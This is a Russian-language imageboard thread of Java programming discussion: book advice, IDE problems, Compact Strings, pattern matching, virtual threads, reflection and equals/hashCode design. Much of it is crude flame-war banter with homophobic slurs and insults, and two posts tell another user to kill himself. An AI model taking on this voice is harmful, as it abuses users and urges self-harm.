О, я заводобыдло, хочу пить пиво мацать жену за сиську и клацать по кнопкам получая денюжку
248 2880883
>>880834
Ну ладно, не мое, пойду дальше админить сетку и нихуя не делать.
249 2880972
>>880815

>Рекомендуют тут иметь глобальные цели. Ну предположим, у меня есть на примете апишка хуйни с которой я могу сосать данные. Хочу сделать сайт, где можно будет хуевертить этой апишкой мышкой, ну там сортировочки, поиски, и прочая залупа. А как это делать? Мне книжку открывать и пытаться искать по ключевым словам, которые могут быть, а могут и не быть в этой книге?



Примерно. Декомпозируешь проект на отдельные задачи. Читаешь гугл или книжку до тех пор, пока не выполнишь одну из задач. Если что-то не получается - возвращаешься и читаешь заново. Повторяешь, пока не закончишь проект. Начинаешь новый.

В следующих итерациях рано или поздно начнешь понимать, где у тебя пробелы в знаниях, какие вещи делать слишком муторно, где у тебя бардак, где копипаст и из-за чего в основном возникают ошибки.
Фокусируешься на этих вещах, гугли, читаешь, пробуй сделать проще/лучше.
250 2880994
>>880617
Я пару месяцев назад начал книгу Хорстманна
В целом хорошо, только немного сумбурное повествование
251 2881008
>>880994
>>880695
Прочитал, что ты английский не знаешь, если возьмёшь эту книжку, сравнивай периодически с новым оригинальным изданием, там в переводе хуйни нагородили и ошибок добавили.
252 2881021
Энтри-левел книги по джаве реально хуйня, не знаю как челы осиливают без бэкграунда в других языках.
253 2881095
Здарова, ДИНОЗАВРЫ. Что, всё ещё на жабе пишете? ХАХАХААХХААХБ НА ЖАБЕ РЕАЛЬНО ПИШУТ В 2к23
254 2881282
>>881095
На 5 джаве пишу...
255 2881329
>>881095
А что есть то, что лучше джавы по всем параметрам, в том числе и по вакансиям, и новее него ?
256 2881423
>>881095
Конечно на ней пишут в 2кij. Будут писать и когда ты школу закончишь, и когда поступишь, и когда работу начнёшь искать, женишься, возьмёшь ипотеку, заделаешь личинку, сам увидишь — будут писать. А пока ковыряйся в своих игрушках, это, так сказать, естественно для возраста.
257 2881460
>>881095
Пишу на груви, ссу тебе на ебало
258 2881494
Так ребятка медвежатки, хочу у вас спросить, а где собственно лучше всего набирать свой код?
259 2881508
>>881494
В текстовом редакторе от JetBrains.
260 2881512
>>881460
Жесть бля. С тем же успехом мог на JS писать. То же говно, только чуть более востребованней.
261 2881523
>>881494
На листе A4
262 2881599
>>881494
В области боков и ягодиц
263 2881607
Стендап шоу окончено?
264 2881624
>>881607
Нет, до бамплимита будет такой же вайп.
265 2881640
>>881607
Окончил тебе за щеку
266 2881646
>>881624
Ты хотел сказать вайб?
267 2881663
>>874645 (OP)

>Мы, как Java-волшебники, работаем с абстракциями настолько высокими, что звёзды недоумевают


Вы вообще читали эту шапку? Это же уморительно!
268 2881667
>>881494
Коды.
269 2881790
>>874645 (OP)
Нюфаг на этой вашей джаве, как провалиться в реализацию пользовательского класса? То есть при ctrl + клик по типу переменной должен меня отправить с пикрил1 на пикрил2, но этого не происходит. Почему так?
270 2881793
>>881790
пушто ты пидар епта
271 2881794
>>874645 (OP)

> 😎🚀🔮



Ты ебанутый? Возвращайся в свой дискорд и расставляй эмодзи там

> Потоки без швов, словно магия!



Просто хуйня. Гринтреды существуют в каждом языке уже лет как десять. И даже тут жабапидоры смогли обосраться и сделали эвентлуп из семи залуп

> Pattern Matching: Проверки данных на стероидах.



Невероятно тупая хуйня, хуй пойми как работающая в разных контекстах, транслирующаяся в хуй пойми какой байткод, так ещё и с ограничениями на вложенность паттернов и доступных для матчинга примитивов (только рекорды, без объектов)

> String Interpolation - вставка переменных просто как ABC.



Просто напоминаю, почти 2024 год.

---

Просто не позорьтесь, дорогие жабапидоры. Я советую этот релиз молча схавать и никому об этом никогда не рассказывать. Тем из вас, кому реально хоть немного стыдно за эту хуйню, предлагаю всё-таки выучить нормальный язык типа Erlang, Elixir или Ruby и не ебать больше никому мозги
272 2881800
>>881794

>Гринтреды существуют в каждом языке уже лет как десять.


Ну и где они в шарпе?
А в петухон или жс, вообще один реальный поток.

>хуй пойми какой байткод


Invokedynamic же.

>Просто напоминаю, почти 2024 год.


И в каком яп есть проверка встроенная?
273 2881809
Почему на джаве не прогают всякие контроллеры и беспилотники? Я хочу их попрогать, но не хочу трогать си плас плас.
274 2881813
>>881790
сам свои донатные помойки варгань
275 2881816
>>881809
гаджеты для авто, навигаторы, пульты. Тебе мало?
277 2881820
>>881813
>>881793
На этой чепухе реально нет базовых фич нормальных идешек? И у вас петушков подгорает от зависти к белым людям имеющим возможность провалиться куда угодно в один клик без лишнего пердолинга?
278 2881822
>>881820
У всех эта хуйня из коробки работает
Что ты там напортачил никто разбираться не хочет. Твои проблемы ты и ебись.
>>881818
Ахуительные невыдуманные проблемы. Отключить gc - как мооожно. И ещё в самолётах вообще древняя хуйня стоит, какая жаба, уверен там кобол до сих пор или вообще на плате все распаяно
279 2881823
>>881820

> ИТА НЕ Я ЕБЛАААН!!!! НУ МААААМ!

281 2881828
>>881824

>Второй важный для отрасли язык — разработанный ещё в конце 70-х годов Ada." Там же упоминается ОС реального времени QNX. Разумеется есть масса отдельных программ у отдельных узлов, так же как в квадракоптерах у каждого двигателя отдельный регулятор с отдельным чипом с программой.


Как и я сказал, старье или вовсе распаяно. А ещё cpp говно ебаное. Си гораздо лучше.
282 2881829
>>881828
ну тебе там пояснили почему ада.
283 2881871
>>880741
Чем лучше-то, мушаня?
284 2881873
>>881800
НИИИИИЕЕЕЕТЕТ У НАС ИСИЬТТ $ ЗНАЧЕТ ФАЕ КАК ВЖОПЕ!!! ОЙ ВЖАБЕ!!!!
285 2881874
НИНУЖНО!
286 2881876
>>881790
А вот и 200 рублёвая школота пожаловала.
287 2881877
>>881818
ZGC в помощь. Тут больше проблема в том что не каждый захочет полноценный пк отправлять на бошку хохпротивнику.
288 2881878
>>881790
В интеллекте даркула дебила никто не сомневался
289 2881893
Хочу лямбды.
290 2881898
>>881893
Есть такая штука, Kotlin называется
291 2881901
Аноны, помогите...
Что-то совсем запутался в Compact String

Пишут в openjdk: если всем символы строки умещаются в 1 байт, то юзаем utf-8 (1 байт на символ), иначе utf-16 (2 байта на символ)

We propose to change the internal representation of the String class from a UTF-16 char array to a byte array plus an encoding-flag field. The new String class will store characters encoded either as ISO-8859-1/Latin-1 (one byte per character), or as UTF-16 (two bytes per character), based upon the contents of the string. The encoding flag will indicate which encoding is used.


Вот мой код: https://pastebin.com/kc52uPNg
Всё работает как в доке, когда у меня строка либо чисто латиница, либо чисто кириллица.

Но когда у меня смесь кириллицы и латиницы, то у меня не все символы кодируются в utf-16, а только те, что не влазят. Хотя написано, что строка должна быть полностью utf-16

Если чекнуть реализацию класса String (пик2), то у нас там общая кодировка на ВСЮ строку.

Вообщем, я запутался, аноны, помогите, пж
292 2881910
>>881901
У меня есть идея, что мы незначащий байт опускаем, но вообще это странно, ведь мы всё равно так и так должны за выделенную память считать
293 2881999
>>881822
Только установил эту шляпу, открыл первый попавшийся проект - такая херня. Это типа нормально по дефолту никак не подсвечивать типы и прочую херь? Цветные буковки же для дебилов придумали.

>>881876
Тебе мои 200 рублей в рот не влезут, детсадовец.
294 2882003
>>881999
Что за иде, IDEA? Если оно то у тебя похоже не выбран sdk для проекта. Открой projects structure в вкладке File и в project выбери версию джавы.
295 2882036
>>880617
>>880618
>>880628
>>880632
>>880677
>>880994
Пиздец блядь, толпы ебанатов на приколе. Единственная нормальная книга для нуфажин это шилдтовысер.
296 2882040
>>881999

>школьник практикуется в боксе по переписке


Что и требовалось доказать.
297 2882045
>>881901
Потому, что ты хуйню делаешь. getBytes не даёт то, что ты думаешь. Посмотри на реализацию. Чтобы получить реальное значение нужна рефлексия.
И вообще, ты та тянка?
>>881999
Подсвечивать типы - это васянство ебаное. Они видны ввиду нотации CamelCase. Если так хочеца - смени тему.
И вообще притензии была в том, что ты прыгать куда-то не можешь. Че таки разобрался, рукожопище?
298 2882048
>>882036
Шилдт с середины книжки перепечатывает сайт оракла лмао.
299 2882049
>>882048
Сайта оракла на русском нет.
300 2882051
>>882036
Ответ весьма бесцеремонный и грубый, но содержит рекомендацию, за что автора поста можно поблагодарить.
301 2882055
>>882051
Чат гпт научился писать коротко?
302 2882273
>>881818
Шарпистская перемога тредом 2014 года, как типично.
303 2882286
>>881809
В теории, ты можешь попробовать. На SoC джава легко залезет, а футпринт можно усечь, юзая со старта модули, jlink и AOT.

На практике, ты столкнешься скорее всего с нехваткой готового инструментария и матчасти. В самой по себе JVM нет ничего дилбрекерского, равно как нет ничего плохого в GC, если он современный и правильно настроен. Все инициативы в джаве порезаны искусственно тупорылым культом спринга, который оккупировал собой все сообщество джавистов. Жирному Спрингу в эмбеддед делать действительно нечего, потому что это огромный кусок старого кала с рефлексией. Но без спринга у культистов начинается ломка и они нихуя сделать не в состоянии. Поэтому корпораты и не спешат брать джаву в эмбеддед.
304 2882300
>>882286
Пора портировать ASP.NET CORE на джаву
305 2882340
>>881800

> И в каком яп есть проверка встроенная?



Erlang, ещё с 1980-ых

> Ну и где они в шарпе?


> А в петухон или жс, вообще один реальный поток.



Нихуя себе, так мы теперь на инвалидов ориентируемся?

> Invokedynamic же.



Об этом я и говорю
306 2882346
>>882340
Скинь доку по ерлангу.

> Нихуя себе, так мы теперь на инвалидов ориентируемся?


Ну ты сам хуйнул квантор всеобщности. Если речь идёт о фп, то так и говори.

>Об этом я и говорю


Не оч понял, про что ты говорил. invokedynamic имеет чёткую спеку.
307 2882388
>>881794
У тебя есть два пути.

Или трудоустраивайся в оракл и этот вот гонор свой детский вываливай Гойцу, как им надо было все сделать правильно. Например, каким раком ты собрался поддерживать паттерн-матчинг для классов, не выворачивая наизнанку их сокрытие данных. Или каким раком ты себе видишь имплементацию виртуальных тредов, который бы не красил методы, не ломал обратную совместимость и не менял кардинально практики разработки.

Или иди нахуй из треда в свой эликсир-загон. Как человек, сведущий помимо джавы в хаскелле, ссу рубисту-переможнику манямирковому на ебало.
308 2882430
>>882346

> Скинь доку по ерлангу.



Ты это из каких трущоб сидишь, что двач у тебя работает, а гугл нет?
309 2882432
>>882430
В такой, которой я не собираюсь принципиально искать что-то за собеседника. Ты спизданул - ты и доказывай. Я не понимаю, почему у людей от этого так горит..
310 2882438
>>882388

> каким раком ты собрался поддерживать паттерн-матчинг для классов, не выворачивая наизнанку их сокрытие данных



Ты совершенно прав, анон. Я никак это не вижу. Это никак не сделать. И это очередной пруф того, что Java это мёртвая ветвь развития. На неё не натянуть современные фичи, у языка просто невероятно уёбищный дизайн.

> Или каким раком ты себе видишь имплементацию виртуальных тредов, который бы не красил методы, не ломал обратную совместимость и не менял кардинально практики разработки.



Никак, анон, ты опять совершенно прав. И опять, из всего этого следует что Java это ущербный язык, который уже пора закапывать и забывать нахуй. Его ничто не избавит. Его даже не ждёт учесть JavaScript-а, который становится просто таргетом для компиляции, Java не будет таргетом, её просто пора забыть. Паттерн-матчинг и виртуальные треды в Java, это как ООП в Cobol: чисто технически можно захуярить, но оно будет так кастрировано и настолько чужеродно для экосистемы, что всем тупо будет похуй

> сведущий помимо джавы в хаскелле



> СЫНАА, СЫНА, ХВАТИТ В КОМПЛЮКТОРЕ СИДЕТЬ, ИДИ СЮДА, БОРЩИК ВОТ СДЕЛАЛА ВКУСНЕНЬКИЙ, СЫНААА, ПРОГРАММИСТУШЕК МОЙ ТРИДЦАТИЛЕТНИЙ

311 2882441
>>882438

>Это никак не сделать


Вче,что он написал уже сделано. Ты бредишь? Хоть один свой тезис подкоепи чем-то окромя, а воооот в обосраном фп давно уже все сделали.
Спрашивается, а че ж тогда ваш ебаный фп модель памяти не продвинул как жаба в 1.5?
312 2882445
>>882441

Это ты бредишь, мы говорили про pattern matching над обычными объектами, а не над рекордами, датаклассами или там case-class-ами.
313 2882448
>>882432

Нихуя себе какой ты принципиальный. Какие ещё принципы есть, расскажи?
314 2882455
>>882438

>Паттерн-матчинг и виртуальные треды в Java, это как ООП в Cobol: чисто технически можно захуярить, но оно будет так кастрировано и настолько чужеродно для экосистемы, что всем тупо будет похуй


Двачую, емко описал мои размышления в последние 3 года наблюдения за джепами.
315 2882472
>>882438

>И это очередной пруф того, что Java это мёртвая ветвь развития



И почему твои непрошенные маняразмышления должны меня как то трогать или волновать? Ты же просто рандомная сердобольная чмоня с комплексом неполноценности, и вся твоя нитка - пруф этому железобетонному факту. Если б это было не так, тебе было бы тупо похуй - на джаву, на джавистов и на то, че там у них происходит. Но ты ж тупо созависим, ты не можешь не высраться. Ты не нужен. Сходи убейся.
316 2882476
>>882438

>Его даже не ждёт учесть JavaScript-а, который становится просто таргетом для компиляции, Java не будет таргетом, её просто пора забыть. Паттерн-матчинг и виртуальные треды в Java, это как ООП в Cobol: чисто технически можно захуярить, но оно будет так кастрировано и настолько чужеродно для экосистемы, что всем тупо будет похуй



Тыж даже сам не понимаешь, че за чушь ебаную ты несешь. Просто порвался и высрался, а по делу ноль сказал.
317 2882478
>>882438

> учесть


Провинциальное быдло, спокнись
318 2882481
>>882445

>мы говорили про pattern matching над обычными объектами


>каким раком ты собрался поддерживать паттерн-матчинг для классов


Яснаа. Ебать манямирок, удачи чмонь.
319 2882485
>>882448
Есть ещё один, если ты не ищешь сам все что я нахожу истина. https://stackoverflow.com/questions/15129443/erlang-and-sql-injection-attacks
Ты пиздабол. А ещё давай объясняю чем тебе Invokedynamic не зашёл. Тыж просто выспался нихуя не понимая по сабжу
scrot210330194828.png1,7 Мб, 1920x1080
320 2882490
>>882472

> И почему твои непрошенные маняразмышления должны меня как то трогать или волновать?



Да не должны, ты сам пришёл и начал отвечать. Если не хочешь общаться, то и не надо, я же не заставляю

>>882476

> Тыж даже сам не понимаешь, че за чушь ебаную ты несешь. Просто порвался и высрался, а по делу ноль сказал.



Что я не по делу сказал? Ещё раз, Java завозит фичи с опозданием лет так на 10-20. Причём завозит фичи в очень ограниченном виде. Pattern-matching работает лишь на примитивах, так и не получивших широкое применение, да и сам по функционалу невероятно слабый. Хуже жабовского матчинга, наверное, только современный питонячий.

Виртуальные треды уже никому не нужны, ведь те, кому они были нужны ещё лет 10 назад пересели на Kotlin/Go/Scala, эта хуйня тупо опоздала. А экосистема вся всё равно будет на системных потоках, поэтому у вас будет франкенштейн, где половина софта на системных, половина софта на виртуальных, и в итоге все тупо жрут говно, страдая от суммы проблем каждого из подходов.

Это фундаментальная проблема языка, он сам по себе очень древний, с древними идеями и древней экосистемой. Если одеть деда в подростковую одежду, не получится подросток, а получится старый ебанат. Именно это и происходит с Java: экосистема, которая уже написана на системных тредах с проверками на null и без рекордов/датаклассов навсегда останется такой, и поэтому новые фичи не дадут новых гарантий или какого-либо подобного профита без полного переписывания всего существующего Java кода на идиоматичный Java 21 (что просто невозможно, я даже не знаю что ты ещё под этим спойлером ожидал, анон)
321 2882491
>>882485

Я проебался и думал что ты про pattern-matching. Escaping в интерполяциях есть в Elixir, смотри в сигилы в фениксе и всём таком
322 2882493
>>882490
Не крути жопой на предмет паттерн матчинга - речь не о нем шла. Ты высрался о том, что "Java не будет таргетом" для компиляции, что обьективно настолько тупой и толстый пиздеж, что я после него не особо верю в то что ты - человек, а не нейронка тупая.
323 2882495
>>882490

>он сам по себе очень древний, с древними идеями и древней экосистемой.


Он же моложе ерланга того же...
324 2882497
>>882490

>Да не должны, ты сам пришёл и начал отвечать. Если не хочешь общаться, то и не надо, я же не заставляю



Нихуя, это ты пришел в джавистский тред и высрался какой то нерелевантной дристней. Еще раз - ты не нужен. Ты просто созависимое чмо. Убейся.
325 2882498
>>882493

Java это язык, который копилируется в JVM байткод. В Java никто не компилируется, все компилируются сразу в JVM, скипая текстовую Java и даже Java AST. Доброе утро, самое время подучить язык на котором пишешь.
326 2882500
>>882497

Тебя так про хаскелль задело? Извини, я думал что будет смешно пошутить про то что ты с мамой живёшь, но раз тебя задело, видать это правда так, и я больше не будет
327 2882501
>>882498
Так че запиздел то, чел? Ты же выше высирался и по поводу языка, и по поводу рантайма. А теперь жопой крутишь, "это другое"?

Господи, как же ты непробиваемо туп.
328 2882503
>>882501

Я про рантайм ни слова не говорил, рантайм у Java один из самых пиздатых рантаймов. Но ты всё равно сходи к доктору проверься, а то какую-то хуйню придумал, нафантазировал ещё что я это написал, и теперь решил с выдуманной хуйнёй посраться. Продолжай в том же духе.
329 2882517
>>882503
Так и знал что ты - выдуманная хуйня. Небось еще и нейронка какая нить сраная - явно тьюринг тест не вывозишь.
330 2882642
Java тред конечно многое повидал, но адепт эрланга - это что-то новое. Шарпухи, головангеры, котлинисты были, а такого кадра еще нет.
331 2882680
Сенька на работе говорит что тормознутость рефлексии преувеличена и фишки которые она дает позволяют избавиться от большого количества кода,что в совокупности потратит меньше времени чем честный код. Что думаете об этом?
332 2882691
>>882680

>потратит меньше времени


Какого времени? Разработки, поддержки?
333 2882706
>>882691
Код будет исполняться быстрее за счет того что ты можешь напрямую вертеть жабой как хочешь
334 2882709
>>882706
Ты с ансейф ниче не путаешь?
335 2882712
>>882642
Эрлангомухы.
336 2882715
>>882709
Не знаю,мысль не моя
337 2882726
>>882715
Ну ансейф все как ты сказал, позволяет перфоманс повысить. Недаром шла 21 жаба, а он все еще тут, с нами. Когда-то в любой хоть сколь нибудь перфомансной либе были ансфейф вызовы.
Рефлексия же имеет мало общего с этим. Типа ансейф это уровень вниз, а рефлексия вверх. Ну и ее еще постоянно оптимизируют, чтобы слишком уж не сосала. На счет применения, ну instanceof же используют, а это рефлексия.
338 2882807
>>882490

>паттерн матчинг работает только на примитивах


Бляяяяядь, помолчал бы, умнее выглядел бы.

Как же шарпоблядей корёжит...
339 2882813
>>882726

>instanceof рефлексия


С недавних пор абсолютно легальная конструкция языка, использование которой предполагается, а не которая оставлена на крайний случай и чёрный день.
340 2882816
>>882286
А ты олд джавы? Что было до спринга? Как относишься к новым веб фреймворкам типа quarkus, micronaut, helidon и внутренним решениям типа тиньковского kora?
341 2882856
>>882807
Это эрлангомух
image.png95 Кб, 1195x443
342 2882881
>>882813

>С недавних пор абсолютно легальная конструкция языка


Всегда ей было. Про это и говорю, что рефлексия
343 2882891
>>882881
имеет мало общего с ансейфом.
Блять, мысли уже оборванные. Это точно до добра не доведет.
344 2883057
>>882816

>А ты олд джавы? Что было до спринга?



Не надо быть олдом чтобы знать что до спринга был Java EE и эпоха контейнеров приложений. Это было странное время.

А вот дальше был парадокс: эпоха контейнеров прошла, всякие JBoss'ы, стеклянные рыбы и вебсферы используются разве что в самых лютейших хтоничевских энтерпрайзах, а Оракл вообще отдал JEE на аутсорс после чего тот переименовался в Jakartу... и в то же время многие референс имплементации всяких спек из JEE не просто живы, а развиваются и используются по сей день. Контейнеры приложений можно критиковать по существу за многое, но архитектурно они проектировались достаточно грамотно. И сам факт того, что в основу того же кваркуса легли референс имплементации Jakartы, а не спринг, ИМХО косвенно свидетельствует о том, что деды, в отличие от пориджей, все таки худо бедно умели в дизайн, архитектуру и планирование на долгосрок.

>Как относишься к новым веб фреймворкам типа quarkus, micronaut, helidon и внутренним решениям типа тиньковского kora?



К новым фреймворкам отношусь хорошо - больше фреймворков хороших и разных. Кваркус с нативной компиляцией юзаем для пары сервисов, полет в целом нормальный.

С тиньковским kora не знаком. Вангую что его все хейтят за то, что он не спринг. Угадал?
345 2883063
>>882680
Тормознутость - лишь одна из проблем. Вторая проблема заключается в том, что рефлексия усиливает связность и херит полиморфизм. Код с рефлексией рефакторить и поддерживать в долгосроке - геморрой тот еще.

Есть еще третья проблема - рефлексия заметно усложняет использование JPMS и AOT компиляцию, но камон, найдется ли
сегодня сенька-спрингромист, которому не похуй...


>>882813

Ну, это все же слегка преувеличение. Легальна она в новых свитчах в связке с sealed иерархиями, для которых гарантируется компилятором что в дефолтную ветку исполнения не попадет абы какой непредсказуемый класс - в такой парадигме можно косплеить ADT на минималках. В остальных случаях instanceof имеет ровно все те же недостатки, что и остальная рефлексия.

>>882881
Equals - так себе пример. Equals как неотьемлемая часть java.lang.Object - дизайнерская ошибка нулевого дня, с которой приходится просто жить.
346 2883068
>>883063

>дизайнерская ошибка нулевого дня


А как бы ты спроектировал?
347 2883073
>>883068
Вынес бы триаду equals/hashCode/toString в один или несколько интерфейсов, по типу того, как сделано с функциональностью сравнения (Comparable/Comparator). Но мое мнение здесь имеет мало значения - во те времена еще не существовало ни дженериков, ни скорей всего интерфейсов.
348 2883075
>>883073
Я просто смотрю на шарп, который якобы решает проблемы жабы и у него ровно та же проблема:
https://learn.microsoft.com/ru-ru/dotnet/api/system.object.equals?view=net-7.0
Дженерики же в этом случае вообще не помогут, ввиду стирания типов. А интерфейсы... Мне вообще сложно представить объект, который нельзя сравнить. В жабе есть только NaN с похожим свойством. Короче сложная какая-то концепция, есть ли язык, который это провернул?
349 2883086
>>883073
щас бы добавлять интерфейс каждому говноклассу ради того чтобы использовать его в качестве ключа в кешмапе вайб питона от этого кринжа
350 2883095
>>883086
В петухоне нет интерфейсов и с ихней утиной типизацией вообще не проблема строго говоря.
352 2883099
>>883098
Ну тем более, это мэджик методы. Они часть контракта объекта как и в жабке. А термин не интерфейс же означает, а просто имплементацию двух методов.
353 2883100
>>883099
нихуя
пока не определишь эти методы, класть объект в кешмапу или сет нельзя
в джаве по дефольту можно
354 2883103
>>883075

>Дженерики же в этом случае вообще не помогут, ввиду стирания типов.



Ну... кстати возможно ты прав. Надо пробовать.

>А интерфейсы... Мне вообще сложно представить объект, который нельзя сравнить



На семантику equals за времена ее существования наложилось дофига всего. К примеру, есть hash-based структуры типа HashMap, которые не просто сравнивают ключи на равенство, но впридачу еще и ожидают от equals/hashCode дополнительных гарантий, и если ты эти гарантии не обеспечиваешь, рискуешь получить утечку памяти. И вот тут уже представить обьект, для которого обеспечить такие гарантии не возможно либо не имеет смысла, будет проще... но метод один. И hash-based структуры не делают различий, допуская в качестве ключа любой обьект. А еще есть хибернейт, и там, насколько я помню, свои приколы с равенством и айдишниками.

>Короче сложная какая-то концепция, есть ли язык, который это провернул?



Вроде в Rust видел, если мне не изменяет память.

>>883086

Да ладно те, ну вот че ты душишь. Хошь сказать у тебя таких классов-ключей миллион чтоли?
355 2883104
>>883103

>Хошь сказать у тебя таких классов-ключей миллион чтоли?


захотел положить объект классом из либы в сет - сосешь хуй потому что автор либы ЕБЛАН и не заимплементил интерфейс
356 2883105
>>883104
Посмотри на это с другой стороны. Автор либы мог намеренно запретить тебе совать ЕГО обьекты в хэш-бэйзд структуры, потому что у него свои на этот обьект виды. И тем самым предостерег тебя от регрессий в будущем при апгрейде зависмимостей.

Кроме того, ты всегда можешь задекорировать ключ и определить семантику равенства в декораторе.
357 2883106
>>883105

>Автор либы мог намеренно запретить тебе совать ЕГО обьекты в хэш-бэйзд структуры, потому что у него свои на этот обьект виды.


мне похую
358 2883107
>>883106
Не вопрос. Тогда ССЗБ.
image.png23 Кб, 597x263
359 2883108
>>883100
Хм, т.е. дефолт реализации нет? Ну у eq пишут есть вот. Но не сомневаюсь, что мог хуйню сказать, не питонист ни разу.
>>883103

>На семантику equals за времена ее существования наложилось дофига всего.


Это уже проблемы другой плоскости.

>Ну... кстати возможно ты прав. Надо пробовать.


Я скорее про то, что там неизбежно будут бридж методы, ну а еще сложно будет сделать extends T. Типо придется дженерики как покраску функции разносить.

>в Rust видел


Вроде и в расте этот метод дефолтный, хотя вот разбираться в ржавчине, чет вообще желания нет. Не люблю этот язык.
360 2884421
А как тестировать приватные методы?

Вот есть у меня метод с парой публичных методов и сложной логикой в приватных. Логика кроме этого класса нигде нахуй не нужна и выносить ее отдельно не понятно зачем.
Как быть? Делать их протекдет/пэкедж-прайвет, рефлексию ебануть, все таки вынести куда то или еще есть варианты?
361 2884423
>>884421

>>Вот есть у меня метод


класс конечно же
362 2884435
>>884421
Как хочешь, пупунев, но чтобы к дедлайну 98% строк были про-тес-ти-ро-ва-ны.
363 2884458
>>879659
Странно, а я наоборот идею выкинул из-за тормозни постоянной. А вот к эклипсу нареканий пока нет.
364 2884461
>>884421
Никак. Если тебе надо тестировать приватные методы - выносишь их в отдельный сервис и тестируешь его, а в другом просто мокаешь.
365 2884471
>>884421
у тя плохая архитектура если ты не знаешь как его протестировать
366 2884502
Хочу начать работать на спринге в Комьюшной идее .
Как спринг туда запихнуть? Я так понял, он только в ультмишке есть , че делать аноны? Не гуглится
367 2884530
>>884502
Никак, в комьюнити только на кваркусе можно писать.
368 2884600
>>884502
Сначала ответь на вопрос: что такое спринг и как он попадает в твое приложение.
369 2884811
>>884502
Зачем ты пытаешься запихнуть свой грязный спринг в няшную идейку?

Извращенец!
370 2884837
>>884502
Никак,спринг это платный фреймворк который гвоздями прибит к платной версии идеи,нет денег нет спринга,тут уж ничего не поделаешь
371 2884903
>>884461
Это тоже самое, что просто сделать их публичными. Даже хуже, просто логику размажешь на 10 классов. Инкапсуляция сразу по пизде идет.

>>884471
Алтернатива - 5 похожих методов на 3 экрана каждый.
372 2884939
>>884903
Если тебе надо тестировать приватные методы, то твоя инкапсуляция хуйня. Иначе б ты обошёлся только соблюдением публичного контракта, не заглядывая в реализацию вообще.
373 2885006
На сколько важно знать паттерны в реальном проекте?
374 2885039
Ахаха блять пиздец
375 2885069
>>884471
Съеби.
376 2885078
>>885006
Насколько важно знать названия ударов в боксе?
377 2885122
>>874645 (OP)
https://inside.java/2023/10/18/announcing-vscode-extension/
Хорошие новости для всех страдальцев которые не могут использовать спринг потому что он требует платную идею!
378 2885130
В чем понт Callable,если тебе нужно получить результат ты вызываешь get(),по сути просто ждёшь пока в фьюче появится результат,в итоге поток блокируется до получения и многопоточность идет нахуй
379 2885160
>>885130
Ни в чем. Использовался до 8 жабы как аналог Supplier.
380 2885165
>>885160
Я лично экзекутором только в связке с ранабл пользуюсь. Чисто из интереса,есть какая-нибудь альтернатива если пиздец надо вернуть значение из потока?
381 2885170
>>885130
Во первых можно обработать ошибки. Во вторых можно не ждать, а что-то делать и только потом забрать значение.
382 2885172
>>885165
Нет.
383 2885173
>>885122
Я видосик кидал, где гетц про это говорил. Надо было смотреть!
384 2885175
>>885165
Храни в филдах.
385 2885182
>>885165
Еблан, Callable ты передаёшь, возвращается тебе Future, суть его в том что до его вызова можно ещё чё-то поделать и оно будет работать параллельно. Из этой возможности следует возможность объединения двух футуре, например, или сто двадцать двух, которые при 122 ядрах выполнятся за время одной.
386 2885189
>>885122
Ещё бы расширение для турбопаскаль иде выкатили. Нахуя нужна эта легаси параша?
387 2885203
>>885189
Это ж лсп, потому работает в любой иде. Чево ты через попу читаешь?
388 2885208
>>885203

>в любой иде


Что работает на лсп, который разработан копрософтом.
389 2885220
Кто-нибудь уже успел виртуальные потоки в проде потрогать? Для каких задач используете? Мне дали добро на 21 джаву,но я хз зачем их пока использовать,тем более что цпу интенсив код там не рекомендуется
390 2885222
>>885182
Ссал тебе на лицо,обиженка
391 2885223
>>885220
Executors.newVirtualThreadPerTaskExecutor() везде, где были экзекуторы на какое-то количество потоков больше 1.
392 2885224
>>885220
А нахуя такой код в потоки пихать? Придумали проблемы блять. Вот блоки синхры, что нельзя это действительно проблема.
Да и вообще авторы либ должны их распихать, а ты-то тут причём?
393 2885225
>>885222
Тише.
394 2885232
Тащемто лум это перепиаренная хуйня. Самая база 21 жабы это паттерн матчинг.
395 2885234
>>885224
Когда спринг усвеличит производительность @Async хотя бы в десять тысяч раз с приходом виртуальных потоков?
396 2885235
>>885232
Пакаж как применил. Интересно посмотреть
397 2885241
>>885232
Про паттерн матчинг знаю только то что скала оюего обожает,как применить ирл и нахуя?
398 2885259
>>885122
Бесконечный триал чем не подходит?
399 2885343
Сап, мб я не по адресу, но у меня на винде есть elasticsearch 7.9.1 папкой из архива, в котором внутри есть папка jdk с джавой и папка bin с батником elasticsearch.bat, который запускает эластиксёрч по идее джавой из папки jdk. Вчера у меня перезагрузилась и обновилась винда и теперь при попытке запустить elasticsearch как обычно, возникает ошибка
Exception in thread "main" java.lang.UnsupportedOperationException: The Security Manager is deprecated and will be removed in a future release
at java.base/java.lang.System.setSecurityManager(System.java:429)
at org.elasticsearch.bootstrap.Elasticsearch.main(Elasticsearch.java:82)
как будто бы оно теперь пытается использовать не джаву из папки jdk, а установленную в системе. Почему так может быть?
400 2885349
>>885343
Убрал в переменных среды JAVA_HOME и заработало. Пиздец.
401 2885355
>>885343
Хуйню какую-то приложение делает. Легаси походу.
402 2885371
>>885069
соси
image.png5 Кб, 124x124
403 2885379
>>885203

>Это ж лсп, потому работает в любой иде


Кроме идеи
image.png27 Кб, 124x124
405 2885391
>>885382
Только в ультимейт и не для всех
406 2885403
>>885391
Возможно перенесут же, хотя я и сомневаюсь. Так или иначе, мой тезис это никак не затрагивает. Усилия оракла в области лсп сугубо положительные и благотворно влияют на все иде, а не только вскод.
407 2885481
Опять уронил прод из-за NPE...
408 2885616
>>885481
ПУПУНЯ!!!!!!!!!!!
409 2885622
>>885616
Не ронял я ничево. Вот не надо орать даже.
410 2885629
>>885622
Не ври,я сделал гит блейм и все узнал,это ты роняешь прод,тебе не стыдно?
411 2885637
>>885481
А вот в сишарпе такого бы никогда не произошло.
412 2885679
>>885637
На шарпе не бывает прода
413 2885779
>>885637
В шарпе я бы не дошел до рабочего места живым
414 2885802
>>885391
С чего ты это взял, шизофреник? Галоперидол забыл выпить и опять хуйня всякая мерещится?
image.png23 Кб, 625x480
415 2885849
>>885802
нах ты насерил под себя?
416 2885920
>>884939
Так блять как правильно то? писать ебучую копипасту? Или по заветам маразматика один класс на один метод?
417 2885926
>>885920
Да я ебу что ли как у вас правильно? У тебя есть возможность доебаться до людей на работе. Вот и еби им мозги.
Я бы тоже хотел иметь такую возможность...
418 2885950
>>884421
Тестируй обращения внутри приватного метода как часть публичного
419 2885973
>>885849
Ну и откуда ты это вытащил, болезненный?
420 2885992
>>885950
